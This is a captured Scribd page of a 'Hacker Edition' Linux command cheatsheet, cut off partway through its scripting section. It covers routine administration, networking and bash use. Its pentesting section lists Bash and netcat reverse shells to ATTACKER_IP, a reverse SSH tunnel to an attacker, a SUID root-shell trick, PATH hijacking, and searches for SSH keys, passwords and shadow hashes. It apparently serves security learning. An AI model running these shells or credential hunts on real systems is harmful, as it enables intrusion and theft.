0% found this document useful (0 votes)
6 views66 pages

Linux Command Cheatsheet - Cybermindspaceedition

Uploaded by

thefaithflowtv23
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
6 views66 pages

Linux Command Cheatsheet - Cybermindspaceedition

Uploaded by

thefaithflowtv23
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 66

10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Linux Command Cheatsheet _

🧰 Basic Linux Commands (50+)


NAVIGATION

Command pwd

Description Print current directory

Command ls

Description List files in directory

Command ls -la

Description Detailed list including hidden files

Command cd /path

Description Change directory

Command cd ..

Description Go up one level

Command cd -

Description Go back to previous directory

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 1/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command tree

Description Display directory structure as tree

FILE MANAGEMENT

Command touch file.txt

Description Create empty file

Command cp file1 file2

Description Copy file

Command mv file1 file2

Description Move or rename file

Command rm file.txt

Description Remove file

Command rm -rf folder

Description Delete directory recursively

Command mkdir dir

Description Create directory

Command mkdir -p a/b/c

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 2/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Create nested directories

Command rmdir dir

Description Remove empty directory

FILE VIEWING

Command cat file.txt

Description Show file content

Command tac file.txt

Description Show file content in reverse

Command nl file.txt

Description Show file with line numbers

Command head -n 10 file.txt

Description Show first 10 lines

Command tail -n 10 file.txt

Description Show last 10 lines

Command less /var/log/syslog

Description Open file with scroll navigation

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 3/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command watch -n 1 cat file.txt

Description Watch file changes live

SYSTEM INFO

Command date

Description Show system date/time

Command cal

Description Display calendar

Command whoami

Description Current logged in user

Command id

Description User ID and group info

Command uname -a

Description System info (kernel, arch, etc.)

Command hostname

Description Print system hostname

Command uptime

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 4/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Show system uptime

Command history

Description Command history

Command !!

Description Repeat last command

Command !45

Description Run command number 45 from history

REDIRECTION & PIPING

Command echo "Hello" > file.txt

Description Overwrite file with text

Command echo "New" >> file.txt

Description Append to file

Command cat file.txt | grep keyword

Description Filter content through grep

Command sort file.txt

Description Sort file alphabetically

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 5/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command uniq file.txt

Description Remove duplicate lines

Command wc -l file.txt

Description Count lines in file

MISC

Command clear

Description Clear terminal screen

Command alias ll='ls -lah'

Description Create a quick alias

Command unalias ll

Description Remove alias

Command exit

Description Close terminal session

Command shutdown -h now

Description Shutdown immediately

Command reboot

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 6/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Restart the system

🌐 Networking & Security Commands (70+)


Essential for network configuration, reconnaissance, troubleshooting, and security testing.

1. NETWORK INTERFACE & IP MANAGEMENT

Command ip a

Description Show all network interfaces & IP


addresses

Command ip addr add 192.168.1.50/24 dev et


h0

Description Assign IP to interface temporarily

Command ip link set eth0 up

Description Bring interface up

Command ip link set eth0 down

Description Bring interface down

Command ifconfig

Description Legacy command to display IP/MAC


(deprecated but common)

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 7/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command iwconfig

Description Show wireless interface configuration

Command nmcli dev status

Description Show NetworkManager devices & states

Command hostname -I

Description Show local IP addresses

Command macchanger -s eth0

Description Show current MAC address

Command macchanger -r eth0

Description Randomize MAC address

2. ROUTING & DNS TOOLS

Command route -n

Description Show routing table

Command ip route

Description Modern way to view routing table

Command ip route add default via 192.168.


1.1

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 8/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Add default gateway

Command resolvectl status

Description Show current DNS configuration

Command cat /etc/resolv.conf

Description View configured DNS servers

Command dig example.com

Description DNS lookup with detailed info

Command dig +short example.com

Description Quick DNS resolution

Command dig -x 8.8.8.8

Description Reverse DNS lookup

Command host example.com

Description Simple DNS lookup

Command whois example.com

Description Get domain WHOIS info

3. CONNECTIVITY & TROUBLESHOOTING

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 9/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command ping -c 4 8.8.8.8

Description Ping IP address 4 times

Command ping -i 0.2 8.8.8.8

Description Ping every 0.2 seconds

Command traceroute google.com

Description Trace network route to host

Command mtr google.com

Description Interactive traceroute + ping

Command curl -I https://target.com

Description Fetch only HTTP headers

Command curl -sL https://example.com

Description Silent + follow redirects

Command wget https://example.com/file.zip

Description Download file from URL

Command wget -r -np -k https://example.co


m/

Description Mirror entire website recursively

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 10/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command telnet target 80

Description Connect to remote port via telnet

Command nc -v target 22

Description Check if port 22 is open using netcat

4. NETWORK SCANNING & RECON

Command nmap target

Description Basic nmap scan (ping & common ports)

Command nmap -sV target

Description Service version detection

Command nmap -sC -sV target

Description Run default scripts + version

Command nmap -p- target

Description Scan all 65535 ports

Command nmap --script=vuln target

Description Run vulnerability detection scripts

Command nmap -Pn target

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 11/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Skip host discovery (useful for firewalled


hosts)

Command nmap -sn 192.168.1.0/24

Description Ping sweep (host discovery only)

Command nmap -O target

Description Enable OS detection

Command netstat -tulnp

Description Show listening ports and associated


processes

Command ss -tulnp

Description Modern, faster alternative to netstat

Command arp -a

Description View ARP table

Command arp-scan -l

Description Scan local network for live hosts

5. PACKET CAPTURE & ANALYSIS

Command tcpdump -i eth0

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 12/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Capture packets on eth0

Command tcpdump -i eth0 port 80

Description Capture HTTP traffic only

Command tcpdump -w capture.pcap

Description Save capture to pcap file

Command tcpdump -r capture.pcap

Description Read saved pcap file

Command wireshark

Description Launch Wireshark GUI

Command tshark -r file.pcap

Description Analyze pcap via CLI

6. SSH, TUNNELS & TRANSFERS

Command ssh user@host

Description SSH into remote system

Command ssh -p 2222 user@host

Description SSH on custom port

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 13/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command ssh-copy-id user@host

Description Copy your SSH public key to remote

Command scp file.txt user@host:/tmp/

Description Secure copy file to remote

Command scp user@host:/etc/passwd .

Description Copy file from remote to local

Command ssh -L 8080:target:80 user@host

Description Local port forwarding

Command ssh -D 9050 user@host

Description Create SOCKS proxy (dynamic forward)

Command rsync -avz file user@host:/backu


p/

Description Efficient file sync to remote

7. FIREWALL / IPTABLES / UFW

Command sudo ufw status

Description Check UFW firewall status

Command sudo ufw allow 22/tcp

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 14/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Allow SSH in UFW

Command sudo ufw enable

Description Enable UFW firewall

Command sudo iptables -L

Description List all iptables rules

Command sudo iptables -A INPUT -p tcp --dp


ort 80 -j ACCEPT

Description Allow inbound HTTP

Command sudo iptables -F

Description Flush all firewall rules

8. MISC USEFUL NETWORKING

Command curl ifconfig.me

Description Get your public IP address

Command wget -qO- ifconfig.co

Description Alternative public IP query

Command ethtool eth0

Description Show NIC driver, speed & stats

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 15/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command iperf3 -s

Description Start iperf server (throughput test)

Command iperf3 -c server_ip

Description Run iperf client test

Command nc -zv 192.168.1.10 1-1024

Description Quick port scan using netcat

🧠 System & Process Management (50+)


Essential commands to inspect, manage, monitor, and control processes, services, jobs,
and system performance.

1. SYSTEM INFORMATION & UPTIME

Command uname -a

Description Display kernel, architecture & OS info

Command hostnamectl

Description Display detailed system information

Command uptime

Description Show system uptime and load averages

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 16/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command who

Description Show who is currently logged in

Command w

Description Show logged-in users and their activity

Command last

Description Show login history of users

Command dmesg | less

Description View kernel ring buffer (boot messages)

Command lsb_release -a

Description Show distribution release information

Command cat /proc/cpuinfo

Description Display CPU details

Command cat /proc/meminfo

Description Display memory information

Command lscpu

Description Summarized CPU info

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 17/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command lsusb

Description List USB devices

Command lspci

Description List PCI devices

Command lsblk

Description List block storage devices

Command free -m

Description Show RAM usage in MB

2. PROCESS MANAGEMENT

Command ps

Description Show snapshot of current processes

Command ps aux

Description List all running processes with details

Command ps -ef | grep nginx

Description Search for a specific process

Command pgrep firefox

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 18/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Find PIDs of running process by name

Command pidof sshd

Description Get PID of a running daemon

Command kill 1234

Description Kill process with PID 1234

Command kill -9 1234

Description Force kill a process (SIGKILL)

Command killall firefox

Description Kill all processes by name

Command renice -n 10 -p 1234

Description Change priority (nice value) of a process

Command nice -n -5 command

Description Start a process with higher priority

Command pstree -p

Description Show processes in a tree structure with


PIDs

Command lsof -i :80

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 19/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description List processes using port 80

Command lsof /path/file

Description List processes using a file

Command fuser -v 80/tcp

Description Show process using specific port

3. JOB CONTROL & SCHEDULING

Command command &

Description Run a command in background

Command jobs

Description List background jobs

Command fg %1

Description Bring job 1 to foreground

Command bg %1

Description Resume job 1 in background

Command disown %1

Description Remove job from shell’s job table

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 20/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command at 14:00

Description Schedule a one-time job at 2 PM

Command atq

Description List pending at jobs

Command atrm 2

Description Remove job number 2 from at queue

Command crontab -e

Description Edit the user’s crontab file

Command crontab -l

Description List cron jobs

Command systemctl list-timers

Description View systemd timers (cron alternative)

4. SYSTEMD / SERVICES

Command systemctl status ssh

Description Show SSH service status

Command systemctl start apache2

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 21/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Start Apache service

Command systemctl stop apache2

Description Stop Apache service

Command systemctl restart apache2

Description Restart Apache service

Command systemctl enable apache2

Description Enable service at boot

Command systemctl disable apache2

Description Disable service at boot

Command systemctl list-units --type=servic


e

Description List all active services

Command service nginx status

Description Check status using SysV-style

Command service nginx restart

Description Restart service (legacy)

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 22/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

5. LOGS & AUDITING

Command journalctl -xe

Description View recent system logs with details

Command journalctl -u ssh

Description View logs for a specific service

Command journalctl --since "1 hour ago"

Description View logs from last hour

Command tail -f /var/log/syslog

Description Follow system log file

Command less /var/log/auth.log

Description View authentication logs

Command grep "Failed password" /var/log/au


th.log

Description Search failed SSH login attempts

Command ausearch -x /usr/bin/sudo

Description Search audit logs for sudo executions

6. MONITORING & PERFORMANCE

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 23/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command top

Description Display running processes in real-time

Command htop

Description Advanced interactive process viewer

Command glances

Description System-wide monitoring tool (CPU, RAM,


Disk, Net)

Command vmstat 1

Description System performance summary every 1s

Command iostat -xz 1

Description Detailed CPU & disk I/O statistics

Command sar -u 1 5

Description Show CPU usage every 1s for 5 samples

Command df -h

Description Show disk usage in human readable


format

Command du -sh *

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 24/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Show size of each folder in current dir

Command watch -n 1 free -m

Description Monitor memory usage live

Command uptime

Description Check system load averages quickly

⚡ Advanced & Pentesting Commands (60+)


Essential for enumeration, privilege escalation, binary analysis, shell tricks, and real-world
red teaming.

1. SYSTEM ENUMERATION & RECON

Command whoami

Description Print current user

Command id

Description Show UID, GID, and groups

Command hostname -I

Description Show local IP addresses

Command ip a

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 25/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description List network interfaces

Command route -n

Description Show routing table

Command ss -tulnp

Description Show open ports and listening processes

Command netstat -plant

Description List active connections and listening


sockets

Command arp -a

Description List ARP cache entries

Command cat /etc/passwd

Description List user accounts

Command cat /etc/group

Description List groups

Command cat /etc/shadow

Description Check shadow file (privileged)

Command sudo -l

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 26/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Check current user's sudo privileges

Command env

Description Print environment variables

Command history

Description Check bash history for credentials

Command ls -la /home

Description Enumerate user home directories

2. FILE SEARCH & DISCOVERY

Command find / -type f -name "id_rsa" 2>/d


ev/null

Description Find private SSH keys

Command find / -name "*.conf" 2>/dev/null

Description Search for config files

Command find / -type f -size +100M 2>/dev/


null

Description Find files larger than 100MB

Command find / -perm -4000 2>/dev/null

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 27/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Find SUID binaries (Privesc)

Command find / -perm -2000 2>/dev/null

Description Find SGID binaries

Command find / -user root -perm -2 -type f


2>/dev/null

Description World-writable files owned by root

Command grep -R "password" /etc 2>/dev/nul


l

Description Search for plaintext passwords

Command grep -R "PRIVATE KEY" /home 2>/de


v/null

Description Look for private keys

3. GREP / AWK / SED POWER

Command cat /etc/passwd | awk -F: '{print


$1}'

Description List all usernames

Command ps aux | grep nginx

Description Search for nginx processes

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 28/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command netstat -tulnp | grep 80

Description Filter ports in use

Command ls -l | grep "^d"

Description List only directories

Command grep -i "error" /var/log/syslog

Description Search logs for errors

Command sed -n '1,10p' file.txt

Description Print first 10 lines of a file

Command sed -i 's/old/new/g' file.txt

Description Find & replace inside file

Command awk '{print $1,$3}' file.txt

Description Print specific columns

4. BINARY INSPECTION & ANALYSIS

Command file binary

Description Identify binary type

Command strings binary | less

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 29/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Extract readable strings

Command ldd binary

Description List linked libraries of a binary

Command strace -f ./binary

Description Trace system calls of a binary

Command objdump -d binary | less

Description Disassemble binary

Command hexdump -C file

Description Hex dump of a file

Command xxd file

Description Alternative hex dump

5. PRIVILEGE ESCALATION ENUMERATION

Command find / -perm -4000 -type f 2>/dev/


null

Description Find all SUID binaries

Command getcap -r / 2>/dev/null

Description List Linux capabilities set on binaries

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 30/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command cat /etc/sudoers

Description View sudo rules (requires privileges)

Command sudo -l

Description List sudo permissions for current user

Command crontab -l

Description List user cron jobs

Command cat /etc/crontab

Description Check system-wide cron jobs

Command ls -la /var/spool/cron

Description Inspect cron directories for writable files

Command ps -ef | grep root

Description See root-owned processes

Command sudo su

Description Switch to root (if allowed)

6. REVERSE SHELLS & NETWORK HELPERS

Command nc -lvnp 4444

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 31/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Start Netcat listener

Command bash -i >& /dev/tcp/ATTACKER_IP/44


44 0>&1

Description Basic Bash reverse shell

Command nc -e /bin/bash ATTACKER_IP 4444

Description Netcat reverse shell (traditional)

Command python3 -c '...'

Description Python reverse shell (shortened for clarity)

Command ssh -R 4444:localhost:22 user@atta


cker

Description Reverse SSH tunnel to attacker

Command scp shell.sh user@host:/tmp/

Description Upload file to remote host

7. EXPLOIT HELPERS

Command tar -cf archive.tar file

Description Create tar archive

Command tar -xvf archive.tar -C /tmp

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 32/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Extract tar archive

Command cp /bin/bash /tmp/rootbash; chmod


+s /tmp/rootbash

Description Set SUID root shell (post exploitation)

Command echo "/bin/bash" > exploit.sh && c


hmod +x exploit.sh

Description Create simple shell payload

Command env PATH=.:$PATH somebinary

Description Path hijacking trick

Command export PS1="\[\e[31m\]\u@\h:\w\\$


\[\e[0m\]"

Description Change shell prompt (for fun / confusion)

8. MISC ADVANCED

Command watch -n 1 "ps -ef | grep ssh"

Description Live monitor specific processes

Command base64 file.txt

Description Encode file in base64

Command base64 -d file.b64

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 33/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Decode base64 file

Command xxd -p shellcode.bin | tr -d '\n'

Description Convert binary shellcode to hex

Command timeout 5s command

Description Run a command with a timeout

Command nohup command &

Description Run command immune to hangups

💾 Disk / Storage / Filesystem Management


(50+)
Commands to inspect, manage, format, mount, and analyze disk storage — critical for
sysadmins, pentesters, and forensic investigators.

1. DISK & PARTITION INFORMATION

Command lsblk

Description List block devices and their mount points

Command lsblk -f

Description Show filesystem type and UUID

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 34/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command fdisk -l

Description List partitions on all disks

Command blkid

Description Print block device attributes (UUID, FS


type)

Command df -h

Description Display mounted filesystems and disk


usage (human readable)

Command df -i

Description Show inode usage per filesystem

Command mount | column -t

Description Display all currently mounted filesystems

Command findmnt

Description Show filesystem mount hierarchy

Command du -sh /var/log

Description Get total size of /var/log directory

Command du -sh * | sort -hr | head

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 35/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Top largest folders/files in current


directory

2. MOUNTING & UNMOUNTING

Command mount /dev/sda1 /mnt

Description Mount partition /dev/sda1 to /mnt

Command umount /mnt

Description Unmount /mnt

Command mount -o ro /dev/sda1 /mnt

Description Mount partition read-only

Command mount -t tmpfs tmpfs /mnt/tmp -o s


ize=500M

Description Mount a temporary in-memory filesystem

Command mount -t nfs 192.168.1.5:/share /m


nt/nfs

Description Mount NFS share

Command cat /etc/fstab

Description View filesystem table for auto-mounting

Command mount -a

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 36/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Mount all filesystems from /etc/fstab

Command losetup -a

Description List loop devices

Command udisksctl mount -b /dev/sdb1

Description Mount USB drive using udisksctl

3. FILESYSTEM CREATION / FORMATTING

Command mkfs.ext4 /dev/sdb1

Description Format partition with ext4 filesystem

Command mkfs.vfat /dev/sdb1

Description Format partition with FAT32

Command mkfs.xfs /dev/sdb1

Description Format partition with XFS filesystem

Command mkswap /dev/sda2

Description Create swap area on partition

Command swapon /dev/sda2

Description Enable swap

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 37/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command swapoff /dev/sda2

Description Disable swap

Command tune2fs -l /dev/sda1

Description List ext filesystem superblock info

Command e2fsck -f /dev/sda1

Description Force filesystem check and repair (ext)

Command xfs_repair /dev/sda1

Description Repair XFS filesystem

4. DISK USAGE & CLEANUP

Command ncdu /

Description Interactive disk usage analyzer (very


useful)

Command du -sh /home/*

Description Get folder sizes in /home

Command find / -xdev -type f -size +500M

Description Find large files in filesystem

Command find /tmp -type f -mtime +3 -delet

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 38/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Clean /tmp files older than 3 days

Command rm -rf /var/log/*.gz

Description Remove old compressed logs

Command sync

Description Flush filesystem buffers to disk

Command fstrim -av

Description Trim all mounted filesystems (SSD


optimization)

5. LVM & LOOP DEVICES

Command pvdisplay

Description Display physical volumes

Command vgdisplay

Description Display volume groups

Command lvdisplay

Description Display logical volumes

Command lvextend -L +10G /dev/vg0/lv0

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 39/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Extend logical volume by 10GB

Command resize2fs /dev/vg0/lv0

Description Resize filesystem after extending volume

Command losetup /dev/loop0 image.img

Description Associate disk image with loop device

Command mount /dev/loop0 /mnt

Description Mount loop device

Command losetup -d /dev/loop0

Description Detach loop device

6. ADVANCED FILESYSTEM OPS

Command mount -o bind /var/www /mnt/www

Description Bind mount (useful for chroot / pivot)

Command chroot /mnt

Description Change root to /mnt (pivoting / recovery)

Command mount --rbind /dev /mnt/dev

Description Bind system dirs for chroot

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 40/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command mount -o noexec /tmp

Description Mount /tmp with noexec (security


hardening)

Command mount -o remount,rw /

Description Remount root as read-write (useful in


exploits)

Command file -s /dev/sda1

Description Detect filesystem type on block device

Command dd if=/dev/sda of=/mnt/disk.img bs


=1M

Description Clone disk to image file (forensics)

Command dd if=disk.img of=/dev/sda bs=1M

Description Write image back to disk

👤 User & Permissions Management (40+)


Manage users, groups, file permissions, ACLs, and special bits — critical for security
hardening and privilege escalation enumeration.

1. USER ACCOUNT MANAGEMENT

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 41/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command whoami

Description Print current logged-in user

Command id

Description Show UID, GID, and groups of current user

Command users

Description Show currently logged in users

Command w

Description Show active users and their processes

Command useradd newuser

Description Create a new user

Command useradd -m -s /bin/bash hacker

Description Create a user with home directory and


shell

Command passwd newuser

Description Set password for user

Command usermod -aG sudo newuser

Description Add user to sudo group

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 42/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command usermod -L user

Description Lock user account

Command usermod -U user

Description Unlock user account

Command userdel -r username

Description Delete user and their home directory

Command chsh -s /bin/zsh user

Description Change user's default shell

Command lastlog

Description Show last login for all users

2. GROUP MANAGEMENT

Command groupadd devs

Description Create a new group named devs

Command groupdel devs

Description Delete a group

Command gpasswd -a user devs

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 43/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Add user to group

Command gpasswd -d user devs

Description Remove user from group

Command groups user

Description Show groups a user belongs to

Command newgrp devs

Description Switch to a different group in current


session

3. PASSWORD & AUTHENTICATION

Command passwd

Description Change current user's password

Command passwd -l user

Description Lock a user account (disable password


login)

Command passwd -u user

Description Unlock a locked account

Command cat /etc/passwd

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 44/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description List all user accounts

Command cat /etc/shadow

Description View password hashes (root only)

Command chage -l user

Description View password expiry and aging info

Command chage -M 90 user

Description Set password expiry to 90 days

Command faillog -a

Description Show failed login attempts

Command faillog -r -u user

Description Reset failed login counter for a user

4. FILE PERMISSIONS & OWNERSHIP

Command ls -l file

Description Check file permissions

Command chmod 644 file

Description rw-r--r-- (owner read/write, others read)

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 45/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command chmod 755 script.sh

Description rwxr-xr-x (execute for all)

Command chmod -R 700 /secure

Description Recursive permission change

Command chown user file

Description Change file owner

Command chown user:group file

Description Change file owner and group

Command chgrp group file

Description Change group ownership

Command stat file

Description Detailed file metadata and permissions

5. SUID / SGID / STICKY BITS

Command chmod u+s file

Description Set SUID bit on a file

Command chmod g+s dir

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 46/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Set SGID bit on a directory

Command chmod +t /tmp

Description Set Sticky bit (only owner can delete own


files)

Command find / -perm -4000 2>/dev/null

Description Find all SUID binaries (Privesc)

Command find / -perm -2000 2>/dev/null

Description Find all SGID binaries

Command ls -l /tmp

Description Check sticky bit (t) on world-writable dirs

6. ACLS (ACCESS CONTROL LISTS)

Command getfacl file

Description Get ACLs of a file

Command setfacl -m u:alice:r file

Description Give user 'alice' read permission

Command setfacl -m u:bob:rw file

Description Give user 'bob' read-write access

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 47/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command setfacl -x u:bob file

Description Remove ACL entry for user bob

Command setfacl -m g:devs:rwx project

Description Set group permissions via ACL

Command setfacl -d -m u:alice:rw project

Description Set default ACLs on new files

7. SECURITY & HARDENING

Command sudo visudo

Description Safely edit sudoers file

Command sudo -l

Description List sudo privileges of current user

Command pam_tally2

Description Check failed login attempts per user

Command auditctl -l

Description List active audit rules

Command grep -i "sudo" /var/log/auth.log

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 48/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Search sudo logs for activity

🐍 Scripting, Bash Productivity & Shortcuts


(40+)
Master Bash like a pro — shortcuts, redirection, variables, loops, aliases, scripting, and
powerful one-liners used in real-world pentesting & sysadmin work.

1. BASH NAVIGATION & SHORTCUTS

Command Ctrl + A

Description Move cursor to start of line

Command Ctrl + E

Description Move cursor to end of line

Command Ctrl + U

Description Clear everything before the cursor

Command Ctrl + K

Description Clear everything after the cursor

Command Ctrl + R

Description Search through command history

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 49/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command Ctrl + L

Description Clear terminal (like `clear`)

Command !!

Description Repeat the last command

Command !n

Description Run nth command from history

Command !ls

Description Run last command starting with “ls”

Command ^old^new

Description Quick replace and rerun previous


command

2. HISTORY & EXPANSION

Command history

Description Show command history

Command !!

Description Repeat previous command

Command !$

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 50/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Use last argument of previous command

Command !^

Description Use first argument of previous command

Command history -c

Description Clear command history

Command HISTTIMEFORMAT="%F %T "

Description Add timestamps to history

Command export HISTCONTROL=ignoredups:eras


edups

Description Remove duplicate commands from history

3. REDIRECTION & PIPES

Command command > file

Description Redirect stdout to file (overwrite)

Command command >> file

Description Redirect stdout to file (append)

Command command 2> errors.log

Description Redirect stderr to file

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 51/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command command &> all.log

Description Redirect stdout and stderr to file

Command cat file | grep "keyword"

Description Pipe output to another command

Command sort file | uniq -c | sort -nr

Description Count and sort unique lines

Command xargs

Description Build and execute command lines from


stdin

Command find . -type f | xargs grep "tex


t"

Description Search recursively using xargs

4. VARIABLES & BASH TRICKS

Command NAME="Ali"

Description Set variable NAME

Command echo $NAME

Description Access variable

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 52/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command export VAR="CyberMind"

Description Set environment variable

Command unset VAR

Description Unset a variable

Command echo ${#VAR}

Description Get length of variable

Command echo ${VAR:0:5}

Description Substring of variable

Command read -p "Enter your name: " NAME

Description Prompt for user input

Command echo $((5+3))

Description Arithmetic expansion in Bash

5. LOOPS & CONTROL STRUCTURES

Command for i in {1..5}; do echo $i; done

Description Basic for loop

Command for f in *.txt; do cat "$f"; done

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 53/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Description Loop through files

Command while read line; do echo $line; do


ne < file

Description While loop reading file

Command if [ -f file ]; then echo "exist


s"; fi

Description Basic if statement (file check)

Command if [[ $VAR == "root" ]]; then echo


"admin"; fi

Description String comparison

6. ALIASES & FUNCTIONS

Command alias ll='ls -lah'

Description Create alias

Command unalias ll

Description Remove alias

Command alias update='sudo apt update && s


udo apt upgrade -y'

Description Complex alias

file:///C:/Users/almadad/Downloads/kalilinux cheatsheet.html 54/66


10/6/25, 4:03 PM Linux Command Cheatsheet | Hacker Edition

Command myfunc() { echo "Hello $1"; }

Description Define simple Bash function

Command myfunc Ali

Description Call function with parameter

Command declare -f

Description List all defined functions

7. BASIC SCRIPTING ESSENTIALS

Command #!/bin/bash

Description Shebang to define script interpreter

Command chmod +x script.sh

Description Make script executable

Command ./script.sh

